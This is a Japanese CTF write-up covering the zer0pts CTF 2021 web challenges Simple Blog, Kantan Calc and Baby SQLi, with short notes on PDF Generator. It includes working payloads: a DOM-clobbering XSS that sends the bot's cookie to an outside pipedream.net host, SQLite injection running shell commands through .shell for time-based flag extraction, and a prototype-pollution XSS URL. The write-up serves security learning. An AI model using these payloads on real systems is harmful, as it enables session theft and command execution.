zer0pts CTF 2021 writeup (3 web challs)
zer0pts CTF 2021 にチーム ./Vespiary として参加して15位でした!
zer0pts CTF 2021 お疲れさまでした。15位!
— Ark (@arkark_) March 7, 2021
僕はSimple Blog、Kantan Calc、Baby SQLiを解きました。PDF Generatorは時間切れ pic.twitter.com/mNnzV09fTw
解いた問題のwriteupを書きます。順番は解いた順です[1]。Kantan Calcはチームメンバーと一緒に解きました。
- 公式サイト: https://2021.ctf.zer0pts.com/index.html
- 公式リポジトリ: https://gitlab.com/zer0pts/zer0ptsctf-2021-challenges
- 公式writeup: https://hackmd.io/@ptr-yudai/B1bk04fmu
[web] Simple Blog
192pts, 23solves
- 公式writeup: https://hackmd.io/@st98/S1z9qV1X_
- 問題文:
Now I am developing a blog service. I'm aware that there is a simple XSS. However, I introduced strong security mechanisms, named Content Security Policy and Trusted Types. So you cannot abuse the vulnerability in any modern browsers, including Firefox, right?
問題概要
- 自明なXSSが可能だが、CSPとTrusted Typesで守られたブログサイトが与えられる
- URLの
theme
クエリにXSSを仕込むことが可能
- URLの
- botにURLをreportすることが可能
- フラグはbotのcookieに設置されている
解法概略
Dangling Markup Injection + DOM Clobbering + JSONPの悪用
考察
まずは、CSPがヘッダではなくmetaタグで設定されていることが怪しかったのでググったりW3Cのドキュメントを読んだり[2]しましたが、特に攻撃に繋がりそうなものは見つからなかったです。
次にTrusted Types周りについて調べました。MDNによると、まだ実験段階の機能で、ChromeではサポートされているがFirefoxではサポートされていないようです。問題のHTML内でロードされているtrustedtypes.build.js
は、Trusted Typesのpolyfillであることもわかりました。
問題文からbotがFirefoxであることが示唆されていますが、明示はされていないのでリダイレクトによってuser-agentをチェックします:
1 | encodeURIComponent('"> <meta http-equiv="refresh" content="0;URL=https://evil.example.com"> <"') |
の値をreportすると
1 | user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 |
が返ってきた[3]ので、WhatIsMyBrowserで調べるとFirefox 88 on Linux
でFirefoxであることが確認できました。
ところでFirefoxと言えば、Dangling Markup Injectionの防御機構がない[4]ので、その辺りでうまく攻撃できないか検討しました。
1 | location = "http://web.ctf.zer0pts.com:8003/?theme=" + encodeURIComponent('> <script "') |
を手元で実行すると、DOMの構造が崩れて下の画像のように/js/trustedtypes.build.js
を読み込まなくなります。
Trusted Typesのpolyfillが無効になりました。嬉しい。
今度は、
1 | Uncaught ReferenceError: trustedTypes is not defined |
と怒られます。これは、/js/trustedtypes.build.js
を読み込まなかったことによってtrustedTypes
変数がundefinedになったことが原因です。グローバル変数なのでDOM Clobberingによって適当に定義すればOKです。
1 | } catch { |
ともあるので、trustedTypes.defaultPolicy
の値をtruthyにする必要があります。
1 | <form id=trustedTypes><input name=defaultPolicy></form> |
このようなDOMがあれば大丈夫でしょう。さらに
1 | // TODO: implement custom callback |
で好きなcallbackの値を設置したい場合は
1 | <a id=callback href='x:console.log'></a> |
を放り込めばOKです。ここで、x:
のようなスキームを指定しないとwindow.callback
の値がhttp://web.ctf.zer0pts.com:8003/console.log
になってしまうことに注意する必要があります。
というわけでこれらを組み合わせて
1 | location = "http://web.ctf.zer0pts.com:8003/?theme=" + encodeURIComponent('> <form id=trustedTypes><input name=defaultPolicy></form> <a id=callback href=\'x:console.log\'></a> <script "') |
を手元で実行すると
のようにArray [ {…}, {…} ]
が出力されます。
あとはcookieを奪取するスクリプトを投げればいいのですがapi.php
を見ると、
1 | if (strlen($callback) > 20) { |
このように「20文字以下」という制限があります。普通にfetch関数を使ったりすると余裕でオーバーします。
既存のコードを眺めるとjsonp
という便利そうな関数が定義されています。そこで、callback
の値をx:jsonp(a);
にし、DOM Clobberingでa
の値を好きなjavascriptコードにすればうまくいきそうです。ただし、jsonp
の第1引数はURLであるためdata:text/javascript,...
を使いました。
攻撃
最終的に
1 | encodeURIComponent('> <form id=trustedTypes><input name=defaultPolicy></form> <a id=a href=\'data:text/javascript,location=`https://enp4oaz0o4e4vlk.m.pipedream.net?cookie=${document.cookie}`\'></a> <a id=callback href=\'x:jsonp(a);\'></a> <script "') |
をして、
1 | theme=%3E%20%3Cform%20id%3DtrustedTypes%3E%3Cinput%20name%3DdefaultPolicy%3E%3C%2Fform%3E%20%3Ca%20id%3Da%20href%3D'data%3Atext%2Fjavascript%2Clocation%3D%60https%3A%2F%2Fenp4oaz0o4e4vlk.m.pipedream.net%3Fcookie%3D%24%7Bdocument.cookie%7D%60'%3E%3C%2Fa%3E%20%3Ca%20id%3Dcallback%20href%3D'x%3Ajsonp(a)%3B'%3E%3C%2Fa%3E%20%3Cscript%20%22 |
をreportすると、https://evil.example.com
にcookieの値が投げられます。
が返ってきました。
フラグ
zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y}
DOM Clobbering、最近聞く機会が多かったので本番で解けてよかったです。
あとこれ嬉しい ↓
Dangling markup injection本当ですか? 非想定解法です…
— st98 (@st98_) March 7, 2021
[web] Kantan Calc
135pts, 50solves
- 公式writeup: https://hackmd.io/@st98/Sy7D5NymO
- 問題文:
"Kantan" means simple or easy in Japanese.
問題概要
- サーバのソースコード中に直書きされているフラグを出力させる問題
- シンプルなコードゴルフ
解法概略
JavaScriptのコードゴルフ
考察
1 | app.get('/', function (req, res, next) { |
サーバのコードの一部分はこのようになっています。非常にシンプルです。
1 | `'use strict'; (function () { return ${code}; /* ${FLAG} */ })()` |
に適切なcode
の値を指定して、FLAG
を出力させるようにすればよいです。ただし、
- 出力されるコードには
zer0pts
の部分文字列があるとダメ - 文字数制限が30文字未満
という制約があります。
最初は},function a(){return a
のような断片を考えました。これを投げると
1 | function () { return },function a(){return a;/* zer0pts{xxx} */ })() ; ( |
になります。これは関数を文字列に変換するときに関数の定義が漏れてしまうことを利用しています。
Error: please do not exfiltrate the flag
のエラーが出たので、無事(?)フラグが出力されていることが確認できました。
zer0pts
が含まれないようにするための方針として、一文字ずつ取得させる方法を考えました。
上述の断片だと例えば
1 | },function a(){return(a+'')[20] |
を投げると20文字目が返ってきます。ただし31文字で字数オーバーです。
この後いろいろ考えてたら
1 | },_=>_=>{ |
という短い断片(9文字!)でフラグ全体が出力される方法を思いつきました。
復元すると
1 | function () { return },_=>_=>{;/* zer0pts{xxx} */ })() ; ( |
になります。これを起点にこねくり回したらいい感じにできました。
1 | });(a=>_=>(a+'')[16])(_=>{ |
最終的に攻撃に用いた断片はこれです(26文字)。
復元すると
1 | function () { return });(a=>_=>(a+'')[16])(_=>{;/* zer0pts{xxx} */ })() ; ( |
になります。
良さそうです。
攻撃
手動で一文字ずつ確定させるのは大変なのでスクリプトを書きました[6]。
1 | import httpx |
実行すると次のように出力されます。
1 | $ python exploit.py |
フラグ
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}
おまけ
公式writeupによるスプレッド構文解法を真似ると
1 | });(a=>_=>[...a+0])(_=>{ |
の断片で良いことがわかるので、1回のリクエストでフラグが入手できました!24文字!
[web] Baby SQLi
170pts, 30solves
- 公式writeup: https://hackmd.io/@st98/S1cf6iyQd
- 問題文:
Just login as admin.
問題概要
- adminとしてログインするとフラグが見れるサービスが与えられる
- ログインではSQLiが可能
- RDBMSはSQLite
解法概略
複文を用いてシェルコマンドを実行 + time-based blind SQL injection + コードゴルフ
考察
前提として、DB内のパスワードを盗んだとしても、SHA256のハッシュ値なのでそれを利用してログインすることは不可能に近いです。つまり、templates/index.html
内のフラグを直接盗むような攻撃を考える必要があります。
webサーバを読むと
1 | result = sqlite3_query( |
に対し、username
のクエリパラメータを用いてinjectionが可能だとわかります。ただし、
1 | def sqlite3_escape(s): |
によって、記号の類の文字の前には\
というごみが入ります。
SQLiteのドキュメントを読むと
C-style escapes using the backslash character are not supported because they are not standard SQL.
ref. https://www.sqlite.org/lang_expr.html
と書いてあるので、文字列リテラル中に\
が普通に使えることがわかるので、文字列を脱出する分には問題はないことがわかりました。
次にSQLを実行してる部分のソースコードを読むと
1 | def sqlite3_query(sql): |
どうやらsubprocessとしてsqlite3コマンドを実行して、そのREPL環境で文字列を流し込んでいるようです。
つまり、複文使い放題ということです。幸いなことにsqlite3_escape
は\n
もエスケープしません。
ところで、sqlite3_escape
が.
も許容していることがとても気になります。怪しいです。非常に。
というわけで、SQLiteの構文で.
を使ったものがあるか調べるとdot-commandというものがありました。.system
や.shell
でシェルコマンドを叩けるので何でもできそうです。
例えば
1 | cat templates/index.html | grep zer0pts{prefix && sleep 10 |
のようなコマンドを実行すると、zer0pts{prefix
がヒットしたときだけタイムアウトし、ヒットしなかったときはすぐにレスポンスが返ってくるようになるため、time-basedなblind SQLiができそうです。
1 | ";\n.shell cat templates/index.html|grep zer0pts{prefix&&sleep 9\n |
を投げてみましょう(ここで\n
は改行文字です)。
1 | $ http --form --follow POST http://web.ctf.zer0pts.com:8004/login username='";'\n'.shell cat templates/index.html | grep zer0pts{ && sleep 10'\n password=abc |
Too long username or password
と怒られてしまいました。
ソースコードを読むと
1 | if len(username) > 32 or len(password) > 32: |
とあり、32文字以下という制限があります。
とりあえず
1 | ";\n.shell cat */*|grep s{prefix&&top\n |
でだいぶ短くなりました。
文字数は 31 + len(prefix)
です。厳しい。
これより短くする方法がしばらく思いつかなかったのですが、grepの引数のところで3文字まで使えることから、3文字ずつ判定するクエリを投げる方法でフラグを確定できないかと考え、スクリプトを書きました。
攻撃
できたスクリプトはこちらです。
1 | import httpx |
これは、「prefixの末尾2文字」と「新たな1文字」結合した「3文字」を深さ優先探索で調べるスクリプトになります。
正直最悪です。これを実行すると
1 | $ python exploit.py |
と出力されました。20分くらいリクエストを投げ続けたので、本当にごめんなさい。
途中で止まったのは、..._of_my_p4
の次が記号だからと思われます。
上の方の出力を見るとw0r
と0rd
がヒットしているので、
最終的なフラグは
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4**w0rd*}
だと推測しました(*
は不明な文字)。
個別に3文字ずつ判定すると
sw0
→ ヒットしないw0r
→ ヒット0rd
→ ヒットrd?
→ ヒットd?}
→ ヒット
だったので、
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4**w0rd?}
が確定しました。
s
に対応するleetを調べると5
、$
、§
でした[7]。5
だった場合スクリプトで検出されたはずなので$
か§
です。
zer0pts CTFのフラグフォーマットはzer0pts\{[\x20-\x7e]+\}
なので$
っぽいです。
というわけで
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}
を投げるとcorrectが返ってきました。とてもお行儀が悪かったです。ごめんなさい。
フラグ
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}
その他の問題
コンテスト中には他にGuestFS:AFRとPDF Generatorに挑みました。
[web, warmup] GuestFS:AFR (232pts, 15solves)
こちらはrace conditionを疑っていろいろがんばってる途中でチームメンバーがさくっと解いてくれました。迷走してる間に他の人が解いてくれるのは非常にありがたいです。チーム戦の利点のひとつ。
解法を聞くと非常にシンプルで、なるほどたしかにwarmupだと思いましたが、solvesを見ると少ないのでみんな自分みたいにRCを疑ったんだろうなあと邪推しました。
[web] PDF Generator (214pts, 18solves)
bundle.js
のparseQuery
が自前実装っぽいことに気づき、ロジックを読むとprototype pollutionできることがわかりました。
あとはVue.jsのtemplate機能を汚染すると、任意スクリプトが叩けることに気づきます。
1 | https://pdfgen.ctf.zer0pts.com:8443/text?name=x&text=x&__proto__[template][nodeType]=x&__proto__[template][innerHTML]=%3Cscript%3Ealert(0)%3C/script%3E |
これでalert(0)
です。
このあとembedされたデータをどうやって取得するべきかを考えてる途中でCTFが終了しました。
まだ、公式writeupをちゃんと読んでいないので、これから復習予定です。
Vue.jsを汚染した段階でも結構むずかしかったと感じてるので、Not PDF Generatorも含めて激ヤバ感があります。
感想
CTFに対して
異常クオリティCTFありがとうございました。
自分はwebしか問題を見ていないですが、少なくとも見た問題はすべて「ソースコードを与えるなど問題に集中できるようにつくられている」「解法が自明でなく解きごたえがある」といった特長があり、とてもたのしくCTFをプレイすることができました。
あと、今回解いた問題の中ではSimple Blogが一番好きです。
自分に対して
webの中難度程度の問題は解けるようになってきたので、だいぶ実力が付いてきた実感が湧いていて純粋に嬉しいです。難しいCTFの1桁solvesの問題を1問以上解くことが当面の目標です。
また、そのうち参加者の視点ではなく、運営者の視点で感想が書ける日を迎えたいです。
Simple Blogを最初に解き始めた理由は部分文字列に「Blog」が含まれていたからです。というのも、最近CSP bypass系の問題にはまっているのですがそれ系統の問題には「Blog」とか「Note」とかが問題文に含まれることが多いからです。 ↩︎
知見として得られたもので以下のものは今後のCTFでの考察に使えそうです:「複数のCSPが設定されていた場合は、既存のCSPよりさらに制限するようなポリシーしか追加できない。これはmetaタグによる設定でも同様」「
'strict-dynamic'
が指定されていたとしてもparser-insertedなscriptの挿入は認められない」「metaタグで指定されたポリシーは、その記述より前のコンテンツには適用されない」(ref. https://www.w3.org/TR/CSP3/ )。 ↩︎現状のCSPでは(たぶん)metaタグによるリダイレクトをブロックできないので、便利テクニックとして使ってます。navigate-toディレクティブが導入されたらこの手は使えなくなるのだろうか。 ↩︎
Chromeでは
\n
と<
の両方を含むURLへのアクセスがブロックされます(ref. https://www.chromestatus.com/feature/5735596811091968 )。日本語の資料ではこことかで言及されています[5]。ただし今回の攻撃手法がChromeでうまく動作しないのは、これが原因ではなくTrusted Typesがサポートされていることが原因です。 ↩︎ところでShibuya.XSSの過去資料を漁ってるとおもしろい情報がたくさん得られるので、次回開催が楽しみです。前回開催時はCTFをやってなくて申し込まなかったのが悔やまれます。 ↩︎
今までPythonでHTTPリクエストを投げるときにはrequestsを使ってたのですが、最近はhttpxを使うように変更しました。APIはrequestsと似た感じで使いやすく、さらに標準で非同期通信にも対応していて便利です。あとこちらの方が後発で洗練されている印象を受けています(未確認です。気のせいかもしれません)。 ↩︎